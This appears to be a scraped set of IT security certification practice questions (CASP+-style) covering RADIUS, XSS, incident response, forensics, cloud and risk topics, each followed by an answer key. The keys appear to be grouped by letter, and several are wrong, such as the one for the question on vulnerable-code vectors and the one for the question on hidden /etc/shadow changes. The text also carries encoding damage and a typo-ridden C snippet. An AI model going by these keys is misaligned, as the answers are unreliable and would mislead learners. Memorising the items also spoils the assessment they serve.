A security administrator is troubleshooting RADIUS authentication issues from a newly implemented controller-based wireless deployment. The RADIUS server contains the following information in its logs: "A RADIUS message was received from the invalid RADIUS client IP address 10.35.55.10" Based on this information, the administrator reconfigures the RADIUS server, which results in the following log data: "An Access-Request was received from RADIUS client 10.35.55.10 with a Message-Authenticator attribute that is not valid" To correct this error message, the administrator makes an additional change to the RADIUS server. Which of the following did the administrator reconfigure on the RADIUS server? (Choose two.) A. Added the controller address as an authorized client B. Registered the RADIUS server to the wireless controller C. Corrected a mismatched shared secret D. Renewed the expired client certificate E. Reassigned the RADIUS policy to the controller F. Modified the client authentication method

AC

A user workstation was infected with a new malware variant as a result of a drive-by download. The security administrator reviews key controls on the infected workstation and discovers the following: Antivirus Enabled AV Engine Current AV Signatures Auto Update Update Status Success Heuristic Scanning Enabled Scan Type On Access Scanning Malware Engine Enabled Auto System Update Enabled Last System Update Yesterday 2 PM DLP Agent Disabled DLP DB Update Poll every 5 mins Proxy Settings Auto Which of the following would BEST prevent the problem from reoccurring in the future? (Choose two.) A. Install HIPS B. Enable DLP C. Install EDR D. Install HIDS E. Enable application blacklisting F. Improve patch management processes

AC

An organization is improving its web services to enable better customer engagement and self-service. The organization has a native mobile application and a rewards portal provided by a third party. The business wants to provide customers with the ability to log in once and have SSO between each of the applications. The integrity of the identity is important so it can be propagated through to back-end systems to maintain a consistent audit trail. Which of the following authentication and authorization types BEST meet the requirements? (Choose two.) A. SAML B. Social login C. OpenID connect D. XACML E. SPML F. OAuth

AC

First responders, who are part of a core incident response team, have been working to contain an outbreak of ransomware that also led to data loss. In a rush to isolate the three hosts that were calling out to the NAS to encrypt whole directories, the hosts were shut down immediately without investigation and then isolated. Which of the following were missed? (Choose two.) A. CPU, process state tables, and main memory dumps B. Essential information needed to perform data restoration to a known clean state C. Temporary file system and swap space D. Indicators of compromise to determine ransomware encryption E. Chain of custody information needed for investigation

AC

Which of the following are the MOST likely vectors for the unauthorized or unintentional inclusion of vulnerable code in a software company's final software releases? (Choose two.) A. Unsecure protocols B. Use of penetration-testing utilities C. Weak passwords D. Included third-party libraries E. Vendors/supply chain F. Outdated anti-malware software

AC

While investigating suspicious activity on a server, a security administrator runs the following report: File system integrity check report Total number of files: 3321 Added files: 12 Removed files: 0 Changed files: 1 Change files: changed: /etc/passwd ---------------------------------------------- Detailed information about changes: File: /etc/passwd Perm: -rw-r--r-- , -rw-r--rw- Hash: md5:ab8e9acb928dfac35de2ac2.......... In addition, the administrator notices changes to the /etc/shadow file that were not listed in the report. Which of the following BEST describe this scenario?(Choose two.) A. An attacker compromised the server and may have used a collision hash in the MD5 algorithm to hide the changes to the /etc/shadow file B. An attacker compromised the server and may have also compromised the file integrity database to hide the changes to the /etc/shadow file C. An attacker compromised the server and may have installed a rootkit to always generate valid MD5 hashes to hide the changes to the /etc/shadow file D. An attacker compromised the server and may have used MD5 collision hashes to generate valid passwords, allowing further access to administrator accounts on the server E. An attacker compromised the server and may have used SELinux mandatory access controls to hide the changes to the /etc/shadow file

AC

A networking administrator was recently promoted to security administrator in an organization that handles highly sensitive data. The Chief Information Security Officer (CISO) has just asked for all IT security personnel to review a zero-day vulnerability and exploit for specific application servers to help mitigate the organization's exposure to that risk. Which of the following should the new security administrator review to gain more information? (Choose three.) A. CVE database B. Recent security industry conferences C. Security vendor pages D. Known vendor threat models E. Secure routing metrics F. Server's vendor documentation G. Verified security forums H. NetFlow analytics

ACG

A company has adopted and established a continuous-monitoring capability, which has proven to be effective in vulnerability management, diagnostics, and mitigation. The company wants to increase the likelihood that it is able to discover and therefore respond to emerging threats earlier in the life cycle. Which of the following methodologies would BEST help the company to meet this objective? (Choose two.) A. Install and configure an IPS. B. Enforce routine GPO reviews. C. Form and deploy a hunt team. D. Institute heuristic anomaly detection. E. Use a protocol analyzer with appropriate connectors.

AD

A legacy web application, which is being used by a hospital, cannot be upgraded for 12 months. A new vulnerability is found in the legacy application, and the networking team is tasked with mitigation. Middleware for mitigation will cost $100,000 per year. Which of the following must be calculated to determine ROI?(Choose two.) A. ALE B. RTO C. MTBF D. ARO E. RPO

AD

A threat advisory alert was just emailed to the IT security staff. The alert references specific types of host operating systems that can allow an unauthorized person to access files on a system remotely. A fix was recently published, but it requires a recent endpoint protection engine to be installed prior to running the fix. Which of the following MOST likely need to be configured to ensure the system are mitigated accordingly? (Choose two.) A. Antivirus B. HIPS C. Application whitelisting D. Patch management E. Group policy implementation F. Firmware updates

AD

An internal application has been developed to increase the efficiency of an operational process of a global manufacturer. New code was implemented to fix a security bug, but it has caused operations to halt. The executive team has decided fixing the security bug is less important than continuing operations. Which of the following would BEST support immediate rollback of the failed fix? (Choose two.) A. Version control B. Agile development C. Waterfall development D. Change management E. Continuous integration

AD

An organization wants to allow its employees to receive corporate email on their own smartphones. A security analyst is reviewing the following information contained within the file system of an employee's smartphone: [1] Taxreturn.tax - paystub.pdf employeesinfo.xls SoccerSchedule.doc - RecruitmentPlan.xls - Based on the above findings, which of the following should the organization implement to prevent further exposure? (Choose two.) A. Remote wiping B. Side loading C. VPN D. Containerization E. Rooting F. Geofencing G. Jailbreaking

AD

The board of a financial services company has requested that the senior security analyst acts as a cybersecurity advisor in order to comply with recent federal legislation. The analyst is required to give a report on current cybersecurity and threat trends in the financial services industry at the next board meeting. Which of the following would be the BEST methods to prepare this report? (Choose two.) A. Review the CVE database for critical exploits over the past year B. Use social media to contact industry analysts C. Use intelligence gathered from the Internet relay chat channels D. Request information from security vendors and government agencies E. Perform a penetration test of the competitorג€™s network and share the results with the board

AD

A company is the victim of a phishing and spear-phishing campaign. Users are clicking on website links that look like common bank sites and entering their credentials accidentally. A security engineer decides to use a layered defense to prevent the phishing or lessen its impact. Which of the following should the security engineer implement? (Choose two.) A. Spam filter B. Host intrusion prevention C. Client certificates D. Log monitoring E. Content filter F. Data loss prevention

AE

A developer has executed code for a website that allows users to search for employees' phone numbers by last name. The query string sent by the browser is as follows: http://www.companywebsite.com/search.php?q=SMITHThe developer has implemented a well-known JavaScript sanitization library and stored procedures, but a penetration test shows the website is vulnerable to XSS. Which of the following should the developer implement NEXT to prevent XSS? (Choose two.) A. Sanitization library B. Secure cookies C. TLS encryption D. Input serialization E. Output encoding F. PUT form submission

AE

A security administrator is updating a company's SCADA authentication system with a new application. To ensure interoperability between the legacy system and the new application, which of the following stakeholders should be involved in the configuration process before deployment? (Choose two.) A. Network engineer B. Service desk personnel C. Human resources administrator D. Incident response coordinator E. Facilities manager F. Compliance manager

AE

A technician is configuring security options on the mobile device manager for users who often utilize public Internet connections while travelling. After ensuring that full disk encryption is enabled, which of the following security measures should the technician take? (Choose two.) A. Require all mobile device backups to be encrypted B. Ensure all mobile devices back up using USB OTG C. Issue a remote wipe of corporate and personal partitions D. Restrict devices from making long-distance calls during business hours E. Implement an always-on VPN

AE

After significant vulnerabilities and misconfigurations were found in numerous production web applications, a security manager identified the need to implement better development controls. Which of the following controls should be verified? (Choose two.) A. Input validation routines are enforced on the server side. B. Operating systems do not permit null sessions. C. Systems administrators receive application security training. D. VPN connections are terminated after a defined period of time. E. Error-handling logic fails securely. F. OCSP calls are handled effectively.

AE

A security administrator is updating corporate policies to respond to an incident involving collusion between two systems administrators that went undetected for more than six months. Which of the following policies would have MOST likely uncovered the collusion sooner? (Choose two.) A. Mandatory vacation B. Separation of duties C. Continuous monitoring D. Incident response E. Time-of-day restrictions F. Job rotation

AF

An organization has recently deployed an EDR solution across its laptops, desktops, and server infrastructure. The organization's server infrastructure is deployed in an IaaS environment. A database within the non-production environment has been misconfigured with a routable IP and is communicating with a command and control server. Which of the following procedures should the security responder apply to the situation? (Choose two.) A. Contain the server. B. Initiate a legal hold. C. Perform a risk assessment. D. Determine the data handling standard. E. Disclose the breach to customers. F. Perform an IOC sweep to determine the impact.

AF

A Chief Information Security Officer (CISO) needs to create a policy set that meets international standards for data privacy and sharing. Which of the following should the CISO read and understand before writing the policies? A. PCI DSS B. GDPR C. NIST D. ISO 31000

B

A Chief Information Security Officer (CISO) requests the following external hosted services be scanned for malware, unsecured PII, and healthcare data: ✑ Corporate intranet site ✑ Online storage application ✑ Email and collaboration suite Security policy also is updated to allow the security team to scan and detect any bulk downloads of corporate data from the company's intranet and online storage site. Which of the following is needed to comply with the corporate security policy and the CIS's request? A. Port scanner B. CASB C. DLP agent D. Application sandbox E. SCAP scanner

B

A Chief Security Officer (CSO) is reviewing the organization's incident response report from a recent incident. The details of the event indicate: 1. A user received a phishing email that appeared to be a report from the organization's CRM tool. 2. The user attempted to access the CRM tool via a fraudulent web page but was unable to access the tool. 3. The user, unaware of the compromised account, did not report the incident and continued to use the CRM tool with the original credentials. 4. Several weeks later, the user reported anomalous activity within the CRM tool. 5. Following an investigation, it was determined the account was compromised and an attacker in another country has gained access to the CRM tool. 6. Following identification of corrupted data and successful recovery from the incident, a lessons learned activity was to be led by the CSO. Which of the following would MOST likely have allowed the user to more quickly identify the unauthorized use of credentials by the attacker? A. Security awareness training B. Last login verification C. Log correlation D. Time-of-check controls E. Time-of-use controls F. WAYF-based authentication

B

A company recently implemented a variety of security services to detect various types of traffic that pose a threat to the company. The following services were enabled within the network: 1. Scan of specific subsets for vulnerabilities 2. Categorizing and logging of website traffic 3. Enabling specific ACLs based on application traffic 4. Sending suspicious files to a third-party site for validation A report was sent to the security team that identified multiple incidents of users sharing large amounts of data from an on-premise server to a public site. A small percentage of that data also contained malware and spyware Which of the following services MOST likely identified the behavior and sent the report? A. Content filter B. User behavioral analytics C. Application sandbox D. Web application firewall E. Endpoint protection F. Cloud security broker

B

A company wants to configure its wireless network to require username and password authentication. Which of the following should the system administrator implement? A. WPS B. PEAP C. TKIP D. PKI

B

A company's chief cybersecurity architect wants to configure mutual authentication to access an internal payroll website. The architect has asked the administration team to determine the configuration that would provide the best defense against MITM attacks. Which of the following implementation approaches would BEST support the architect's goals? A. Utilize a challenge-response prompt as required input at username/password entry. B. Implement TLS and require the client to use its own certificate during handshake. C. Configure a web application proxy and institute monitoring of HTTPS transactions. D. Install a reverse proxy in the corporate DMZ configured to decrypt TLS sessions.

B

A corporate forensic investigator has been asked to acquire five forensic images of an employee database application. There are three images to capture in the United States, one in the United Kingdom, and one in Germany. Upon completing the work, the forensics investigator saves the images to a local workstation. Which of the following types of concerns should the forensic investigator have about this work assignment? A. Environmental B. Privacy C. Ethical D. Criminal

B

A creative services firm has a limited security budget and staff. Due to its business model, the company sends and receives a high volume of files every day through the preferred method defined by its customers. These include email, secure file transfers, and various cloud service providers. Which of the following would BEST reduce the risk of malware infection while meeting the company's resource requirements and maintaining its current workflow? A. Configure a network-based intrusion prevention system B. Contract a cloud-based sandbox security service C. Enable customers to send and receive files via SFTP D. Implement appropriate DLP systems with strict policies

B

A development team is testing an in-house-developed application for bugs. During the test, the application crashes several times due to null pointer exceptions. Which of the following tools, if integrated into an IDE during coding, would identify these bugs routinely? A. Issue tracker B. Static code analyzer C. Source code repository D. Fuzzing utility

B

A large, multinational company currently has two separate databases. One is used for ERP, while the second is used for CRM. To consolidate services and infrastructure, it is proposed to combine the databases. The company's compliance manager is asked to review the proposal and is concerned about this integration. Which of the following would pose the MOST concern to the compliance manager? A. The attack surface of the combined database is lower than the previous separate systems, so there likely are wasted resources on additional security controls that will not be needed. B. There are specific regulatory requirements the company might be violating by combining these two types of services into one shared platform. C. By consolidating services in this manner, there is an increased risk posed to the organization due to the number of resources required to manage the larger data pool. D. Auditing the combined database structure will require more short-term resources, as the new system will need to be learned by the auditing team to ensure all security controls are in place.

B

A medical device company is implementing a new COTS antivirus solution in its manufacturing plant. All validated machines and instruments must be retested for interoperability with the new software. Which of the following would BEST ensure the software and instruments are working as designed? A. System design documentation B. User acceptance testing C. Peer review D. Static code analysis testing E. Change control documentation

B

A network engineer is upgrading the network perimeter and installing a new firewall, IDS, and external edge router. The IDS is reporting elevated UDP traffic, and the internal routers are reporting high utilization. Which of the following is the BEST solution? A. Reconfigure the firewall to block external UDP traffic. B. Establish a security baseline on the IDS. C. Block echo reply traffic at the firewall. D. Modify the edge router to not forward broadcast traffic.

B

A penetration tester noticed special characters in a database table. The penetration tester configured the browser to use an HTTP interceptor to verify that the front-end user registration web form accepts invalid input in the user's age field. The developer was notified and asked to fix the issue. Which of the following is the MOST secure solution for the developer to implement? A. IF $AGE == ג€!@#$%^&*()_+<'ג€:{}[]ג€ THEN ERROR B. IF $AGE == [1234567890] {1,3} THEN CONTINUE C. IF $AGE != ג€a-bA-Z!@#$%^&*()_+<>?ג€:{}[]ג€ THEN CONTINUE D. IF $AGE == [1-0] {0,2} THEN CONTINUE

B

A project manager is working with a software development group to collect and evaluate user stories related to the organizationג€™s internally designed CRM tool. After defining requirements, the project manager would like to validate the developer's interpretation and understanding of the user's request. Which of the following would BEST support this objective? A. Peer review B. Design review C. Scrum D. User acceptance testing E. Unit testing

B

A project manager is working with a team that is tasked to develop software applications in a structured environment and host them in a vendor's cloud-based infrastructure. The organization will maintain responsibility for the software but will not manage the underlying server applications. Which of the following does the organization plan to leverage? A. SaaS B. PaaS C. IaaS D. Hybrid cloud E. Network virtualization

B

A security administrator wants to implement two-factor authentication for network switches and routers. The solution should integrate with the company's RADIUS server, which is used for authentication to the network infrastructure devices. The security administrator implements the following: ✑ An HOTP service is installed on the RADIUS server. ✑ The RADIUS server is configured to require the HOTP service for authentication. The configuration is successfully tested using a software supplicant and enforced across all network devices. Network administrators report they are unable to log onto the network devices because they are not being prompted for the second factor. Which of the following should be implemented to BEST resolve the issue? A. Replace the password requirement with the second factor. Network administrators will enter their username and then enter the token in place of their password in the password field. B. Configure the RADIUS server to accept the second factor appended to the password. Network administrators will enter a password followed by their token in the password field. C. Reconfigure network devices to prompt for username, password, and a token. Network administrators will enter their username and password, and then they will enter the token. D. Install a TOTP service on the RADIUS server in addition to the HOTP service. Use the HOTP on older devices that do not support two-factor authentication. Network administrators will use a web portal to log onto these devices.

B

A security analyst is reviewing the following packet capture of communication between a host and a company's router: 1 192.168.1.10 -> 10.5.10.1 icmp echo request 33 bytes sent ABCDEFG... 2 10.5.10.1 -> 192.168.1.10 icmp echo reply 34 bytes sent ABCDEFG.... Which of the following actions should the security analyst take to remove this vulnerability? A. Update the router code B. Implement a router ACL C. Disconnect the host from the network D. Install the latest antivirus definitions E. Deploy a network-based IPS

B

A security analyst is troubleshooting a scenario in which an operator should only be allowed to reboot remote hosts but not perform other activities. The analyst inspects the following portions of different configuration files: Configuration file 1: Operator ALL=/sbin/reboot - Configuration file 2: Command="/sbin/shutdown now", no-x11-forwarding, no-pty, ssh-dss Configuration file 3: Operator:x:1000:1000::/home/operator:/bin/bash Which of the following explains why an intended operator cannot perform the intended action? A. The sudoers file is locked down to an incorrect command B. SSH command shell restrictions are misconfigured C. The passwd file is misconfigured D. The SSH command is not allowing a pty session

B

A security analyst receives an email from a peer that includes a sample of code from a piece of malware found in an application running in the organization's staging environment. During the incident response process, it is determined the code was introduced into the environment as a result of a compromised laptop being used to harvest credentials and access the organization's code repository. While the laptop itself was not used to access the code repository, an attacker was able to leverage the harvested credentials from another system in the development environment to bypass the ACLs limiting access to the repositories. Which of the following controls MOST likely would have interrupted the kill chain in this attack? A. IP whitelisting on the perimeter firewall B. MFA for developer access C. Dynamic analysis scans in the production environment D. Blue team engagement in peer-review activities E. Time-based restrictions on developer access to code repositories

B

A security architect has designated that a server segment of an enterprise network will require each server to have secure and measured boot capabilities. The architect now wishes to ensure service consumers and peers can verify the integrity of hosted services. Which of the following capabilities must the architect consider for enabling the verification? A. Centralized attestation server B. Enterprise HSM C. vTPM D. SIEM

B

A security architect is determining the best solution for a new project. The project is developing a new intranet with advanced authentication capabilities, SSO for users, and automated provisioning to streamline Day 1 access to systems. The security architect has identified the following requirements:1. Information should be sourced from the trusted master data source.2. There must be future requirements for identity proofing of devices and users.3. A generic identity connector that can be reused must be developed.4. The current project scope is for internally hosted applications only. Which of the following solution building blocks should the security architect use to BEST meet the requirements? A. LDAP, multifactor authentication, OAuth, XACML B. AD, certificate-based authentication, Kerberos, SPML C. SAML, context-aware authentication, OAuth, WAYF D. NAC, radius, 802.1x, centralized active directory

B

A security architect is reviewing the code for a company's financial website. The architect suggests adding the following HTML element, along with a server-side function, to generate a random number on the page used to initiate a funds transfer:<input type="hidden" name="token" value=generateRandomNumber()> Which of the following attacks is the security architect attempting to prevent? A. SQL injection B. XSRF C. XSS D. Clickjacking

B

A security engineer has been hired to design a device that will enable the exfiltration of data from within a well-defended network perimeter during an authorized test. The device must bypass all firewalls and NIDS in place, as well as allow for the upload of commands from a centralized command and control server . The total cost of the device must be kept to a minimum in case the device is discovered during an assessment. Which of the following tools should the engineer load onto the device being designed? A. Custom firmware with rotating key generation B. Automatic MITM proxy C. TCP beacon broadcast software D. Reverse shell endpoint listener

B

A security engineer is assessing a new IoT product. The product interfaces with the ODBII port of a vehicle and uses a Bluetooth connection to relay data to an onboard data logger located in the vehicle. The data logger can only transfer data over a custom USB cable. The engineer suspects a relay attack is possible against the cryptographic implementation used to secure messages between segments of the system. Which of the following tools should the engineer use to confirm the analysis? A. Vulnerability scanner B. Wireless protocol analyzer C. Log analysis and reduction tools D. Network-based fuzzer

B

A security engineer is attempting to convey the importance of including job rotation in a company's standard security policies. Which of the following would be the BEST justification? A. Making employees rotate through jobs ensures succession plans can be implemented and prevents single points of failure. B. Forcing different people to perform the same job minimizes the amount of time malicious actions go undetected by forcing malicious actors to attempt collusion between two or more people. C. Administrators and engineers who perform multiple job functions throughout the day benefit from being cross-trained in new job areas. D. It eliminates the need to share administrative account passwords because employees gain administrative rights as they rotate into a new job area.

B

A security engineer is working to secure an organization's VMs. While reviewing the workflow for creating VMs on demand, the engineer raises a concern about the integrity of the secure boot process of the VM guest. Which of the following would BEST address this concern? A. Configure file integrity monitoring of the guest OS. B. Enable the vTPM on a Type 2 hypervisor. C. Only deploy servers that are based on a hardened image. D. Protect the memory allocation of a Type 1 hypervisor.

B

A security engineer is working with a software development team. The engineer is tasked with ensuring all security requirements are adhered to by the developers. Which of the following BEST describes the contents of the supporting document the engineer is creating? A. A series of ad-hoc tests that each verify security control functionality of the entire system at once. B. A series of discrete tasks that, when viewed in total, can be used to verify and document each individual constraint from the SRTM. C. A set of formal methods that apply to one or more of the programing languages used on the development project. D. A methodology to verify each security control in each unit of developed code prior to committing the code.

B

A security engineer successfully exploits an application during a penetration test. As proof of the exploit, the security engineer takes screenshots of how data was compromised in the application. Given the information below from the screenshot. 2019-11-21 13:11:45 POST https://company.com/store <-- 200 text/plain 2.02kB 0.9s .................Request.........**Response**...........Detail............. :Status 200 .... .... Method: POST ...... ."product": [ { "item": "745" .... } Which of the following tools was MOST likely used to exploit the application? A. The engineer captured the data with a protocol analyzer, and then utilized Python to edit the data B. The engineer queried the server and edited the data using an HTTP proxy interceptor C. The engineer used a cross-site script sent via curl to edit the data D. The engineer captured the HTTP headers, and then replaced the JSON data with a banner-grabbing tool

B

A smart switch has the ability to monitor electrical levels and shut off power to a building in the event of power surge or other fault situation. The switch was installed on a wired network in a hospital and is monitored by the facilities department via a cloud application. The security administrator isolated the switch on a separate VLAN and set up a patching routine. Which of the following steps should also be taken to harden the smart switch? A. Set up an air gap for the switch. B. Change the default password for the switch. C. Place the switch in a Faraday cage. D. Install a cable lock on the switch.

B

A systems administrator has deployed the latest patches for Windows-based machines. However, the users on the network are experiencing exploits from various threat actors, which the patches should have corrected. Which of the following is the MOST likely scenario? A. The machines were infected with malware. B. The users did not reboot the computer after the patches were deployed. C. The systems administrator used invalid credentials to deploy the patches. D. The patches were deployed on non-Windows-based machines.

B

A technician is reviewing the following log: 1/10/2018 20:30:11 172.56.90.21:8080 -> 192.168.1.10:80 Remote host initiate connection 1/10/2018 20:30:12 102.56.7.210:443 -> 192.168.1.10:1030 Social media chat 1/10/2018 20:30:13 192.168.20.4:2112 -> 172.172.20.34 Sensitive watermarked document transferred 1/10/2018 20:30:14 10.0.200.30:3018 -> 88.23.10.44:80 Improper website accessed Which of the following tools should the organization implement to reduce the highest risk identified in this log? A. NIPS B. DLP C. NGFW D. SIEM

B

An enterprise's Chief Technology Officer (CTO) and Chief Information Security Officer (CISO) are meeting to discuss ongoing capacity and resource planning issues. The enterprise has experienced rapid, massive growth over the last 12 months, and the technology department is stretched thin for resources. A new accounting service is required to support the enterprise's growth, but the only available compute resources that meet the accounting service requirements are on the virtual platform, which is hosting the enterprise's website. Which of the following should the CISO be MOST concerned about? A. Poor capacity planning could cause an oversubscribed host, leading to poor performance on the company's website. B. A security vulnerability that is exploited on the website could expose the accounting service. C. Transferring as many services as possible to a CSP could free up resources. D. The CTO does not have the budget available to purchase required resources and manage growth.

B

An external red team member conducts a penetration test, attempting to gain physical access to a large organization's server room in a branch office. During reconnaissance, the red team member sees a clearly marked door to the server room, located next to the lobby, with a tumbler lock.Which of the following is BEST for the red team member to bring on site to open the locked door as quickly as possible without causing significant damage? A. Screwdriver set B. Bump key C. RFID duplicator D. Rake picking

B

An incident responder wants to capture volatile memory comprehensively from a running machine for forensic purposes. The machine is running a very recent release of the Linux OS. Which of the following technical approaches would be the MOST feasible way to accomplish this capture? A. Run the memdump utility with the -k flag. B. Use a loadable kernel module capture utility, such as LiME. C. Run dd on/dev/mem. D. Employ a stand-alone utility, such as FTK Imager

B

An information security manager conducted a gap analysis, which revealed a 75% implementation of security controls for high-risk vulnerabilities, 90% for medium vulnerabilities, and 10% for low-risk vulnerabilities. To create a road map to close the identified gaps, the assurance team reviewed the likelihood of exploitation of each vulnerability and the business impact of each associated control. To determine which controls to implement, which of the following is the MOST important to consider? A. KPI B. KRI C. GRC D. BIA

B

An information security manager is concerned that connectivity used to configure and troubleshoot critical network devices could be attacked. The manager has tasked a network security engineer with meeting the following requirements: ✑ Encrypt all traffic between the network engineer and critical devices. ✑ Segregate the different networking planes as much as possible. ✑ Do not let access ports impact configuration tasks. Which of the following would be the BEST recommendation for the network security engineer to present? A. Deploy control plane protections. B. Use SSH over out-of-band management. C. Force only TACACS to be allowed. D. Require the use of certificates for AAA.

B

An infrastructure team is at the end of a procurement process and has selected a vendor. As part of the final negotiation, there are a number of outstanding issues, including: 1. Indemnity clauses have identified the maximum liability. 2. The data will be hosted and managed outside of the company's geographical location. The number of users accessing the system will be small, and no sensitive data will be hosted in the solution. As the security consultant of the project, which of the following should the project's security consultant recommend as the NEXT step? A. Develop a security exemption, as it does not meet the security policies. B. Require the solution owner to accept the identified risks and consequences. C. Mitigate the risk by asking the vendor to accept the in-country privacy principles. D. Review the procurement process to determine the lessons learned.

B

An infrastructure team within an energy organization is at the end of a procurement process and has selected a vendor's SaaS platform to deliver services. As part of the legal negotiation, there are a number of outstanding risks, including: 1. There are clauses that confirm a data retention period in line with what is in the energy organization's security policy. 2. The data will be hosted and managed outside of the energy organization's geographical location. The number of users accessing the system will be small, and no sensitive data will be hosted in the SaaS platform. Which of the following should the project's security consultant recommend as the NEXT step? A. Develop a security exemption, as the solution does not meet the security policies of the energy organization. B. Require a solution owner within the energy organization to accept the identified risks and consequences. C. Mititgate the risks by asking the vendor to accept the in-country privacy principles and modify the retention period. D. Review the procurement process to determine the lessons learned in relation to discovering risks toward the end of the process.

B

An international e-commerce company has identified attack traffic originating from a whitelisted third party's IP address used to mask the third party's internal network. The security team needs to block the attack traffic without impacting the vendor's services. Which of the following is the BEST approach to identify the threat? A. Ask the third-party vendor to block the attack traffic B. Configure the third party's proxy to begin sending X-Forwarded-For headers C. Configure the e-commerce company's IPS to inspect HTTP traffic D. Perform a vulnerability scan against the network perimeter and remediate any issues identified

B

An organization based in the United States is planning to expand its operations into the European market later in the year. Legal counsel is exploring the additional requirements that must be established as a result of the expansion. The BEST course of action would be to: A. revise the employee provisioning and deprovisioning procedures B. complete a quantitative risk assessment C. draft a memorandum of understanding D. complete a security questionnaire focused on data privacy

B

An organization is considering the use of a thin client architecture as it moves to a cloud-hosted environment. A security analyst is asked to provide thoughts on the security advantages of using thin clients and virtual workstations. Which of the following are security advantages of the use of this combination of thin clients and virtual workstations? A. Malicious insiders will not have the opportunity to tamper with data at rest and affect the integrity of the system. B. Thin client workstations require much less security because they lack storage and peripherals that can be easily compromised, and the virtual workstations are protected in the cloud where security is outsourced. C. All thin clients use TPM for core protection, and virtual workstations use vTPM for core protection with both equally ensuring a greater security advantage for a cloud-hosted environment. D. Malicious users will have reduced opportunities for data extractions from their physical thin client workstations, this reducing the effectiveness of local attacks.

B

An organization is currently working with a client to migrate data between a legacy ERP system and a cloud-based ERP tool using a global PaaS provider. As part of the engagement, the organization is performing data deduplication and sanitization of client data to ensure compliance with regulatory requirements. Which of the following is the MOST likely reason for the need to sanitize the client data? A. Data aggregation B. Data sovereignty C. Data isolation D. Data volume E. Data analytics

B

An organization is in the process of evaluating service providers for an upcoming migration to cloud-based services for the organization's ERP system. As part of the requirements defined by the project team, regulatory requirements specify segmentation and isolation of the organization's data. Which of the following should the vendor management team identify as a requirement during the procurement process? A. Public cloud services with single-tenancy IaaS architectures B. Private cloud services with single-tenancy PaaS services C. Private cloud services with multitenancy in place for private SaaS environments D. Public cloud services with private SaaS environments supported by private IaaS backbones

B

An organization is integrating an ICS and wants to ensure the system is cyber resilient. Unfortunately, many of the specialized components are legacy systems that cannot be patched. The existing enterprise consists of mission-critical systems that require 99.9% uptime. To assist in the appropriate design of the system given the constraints, which of the following MUST be assumed? A. Vulnerable components B. Operational impact due to attack C. Time critically of systems D. Presence of open-source software

B

An organization is struggling to differentiate threats from normal traffic and access to systems. A security engineer has been asked to recommend a system that will aggregate data and provide metrics that will assist in identifying malicious actors or other anomalous activity throughout the environment. Which of the following solutions should the engineer recommend? A. Web application firewall B. SIEM C. IPS D. UTM E. File integrity monitor

B

Ann, a security manager, is reviewing a threat feed that provides information about attacks that allow a malicious user to gain access to private contact lists. Ann receives a notification that the vulnerability can be exploited within her environment. Given this information, Ann can anticipate an increase in: A. vishing attacks B. SQL injections attacks C. web application attacks D. brute-force attacks

B

As part of the development process for a new system, the organization plans to perform requirements analysis and risk assessment. The new system will replace a legacy system, which the organization has used to perform data analytics. Which of the following is MOST likely to be part of the activities conducted by management during this phase of the project? A. Static code analysis and peer review of all application code B. Validation of expectations relating to system performance and security C. Load testing the system to ensure response times is acceptable to stakeholders D. Design reviews and user acceptance testing to ensure the system has been deployed properly E. Regression testing to evaluate interoperability with the legacy system during the deployment

B

Company.org has requested a black-box security assessment be performed on key cyber terrain. One area of concern is the company's SMTP services. The security assessor wants to run reconnaissance before taking any additional action and wishes to determine which SMTP server is Internet-facing. Which of the following commands should the assessor use to determine this information? A. dnsrecon -d company.org -t SOA B. dig company.org mx C. nc -v company.org D. whois company.org

B

During a recent incident, sensitive data was disclosed and subsequently destroyed through a properly secured, cloud-based storage platform. An incident response technician is working with management to develop an after action report that conveys critical metrics regarding the incident. Which of the following would be MOST important to senior leadership to determine the impact of the breach? A. The likely per-record cost of the breach to the organization B. The legal or regulatory exposure that exists due to the breach C. The amount of downtime required to restore the data D. The number of records compromised

B

During a sprint, developers are responsible for ensuring the expected outcome of a change is thoroughly evaluated for any security impacts. Any impacts must be reported to the team lead. Before changes are made to the source code, which of the following MUST be performed to provide the required information to the team lead? A. Risk assessment B. Regression testing C. User story development D. Data abstraction E. Business impact assessment

B

Given the code snippet below: #include <stdio.h> #include <stdlib.h> int main(void) { char username[8]; printf("Enter your username: "); gets(username) printf("\n")' if (username == NULL) { printf("you did not enter a username\n"); } it strcmp(username, "admin") { printf("%s", "Admin user, enter your physical token value: "); // rest of conditional logic here has been snipped for brevity } else { printf("Standard user, enter your password: "); // rest of conditional logic here has been snipped for brevity } } Which of the following vulnerability types in the MOST concerning? A. Only short usernames are supported, which could result in brute forcing of credentials. B. Buffer overflow in the username parameter could lead to a memory corruption vulnerability. C. Hardcoded usernames with different code paths taken depend on which user is entered. D. Format string vulnerability is present for admin users but not for standard users.

B

Given the following information about a company's internal network: User IP space: 192.168.1.0/24 -Server IP space: 192.168.192.0/25A security engineer has been told that there are rogue websites hosted outside of the proper server space, and those websites need to be identified. Which of the following should the engineer do? A. Use a protocol analyzer on 192.168.1.0/24 B. Use a port scanner on 192.168.1.0/24 C. Use an HTTP interceptor on 192.168.1.0/24 D. Use a port scanner on 192.168.192.0/25 E. Use a protocol analyzer on 192.168.192.0/25 F. Use an HTTP interceptor on 192.168.192.0/25

B

In the past, the risk committee at Company A has shown an aversion to even minimal amounts of risk acceptance. A security engineer is preparing recommendations regarding the risk of a proposed introducing legacy ICS equipment. The project will introduce a minor vulnerability into the enterprise. This vulnerability does not significantly expose the enterprise to risk and would be expensive against. Which of the following strategies should the engineer recommended be approved FIRST? A. Avoid B. Mitigate C. Transfer D. Accept

B

Legal authorities notify a company that its network has been compromised for the second time in two years. The investigation shows the attackers were able to use the same vulnerability on different systems in both attacks. Which of the following would have allowed the security team to use historical information to protect against the second attack? A. Key risk indicators B. Lessons learned C. Recovery point objectives D. Tabletop exercise

B

Security policies that are in place at an organization prohibit USB drives from being utilized across the entire enterprise, with adequate technical controls in place to block them. As a way to still be able to work from various locations on different computing resources, several sales staff members have signed up for a web- based storage solution without the consent of the IT department. However, the operations department is required to use the same service to transmit certain business partner documents. Which of the following would BEST allow the IT department to monitor and control this behavior? A. Enabling AAA B. Deploying a CASB C. Configuring an NGFW D. Installing a WAF E. Utilizing a vTPM

B

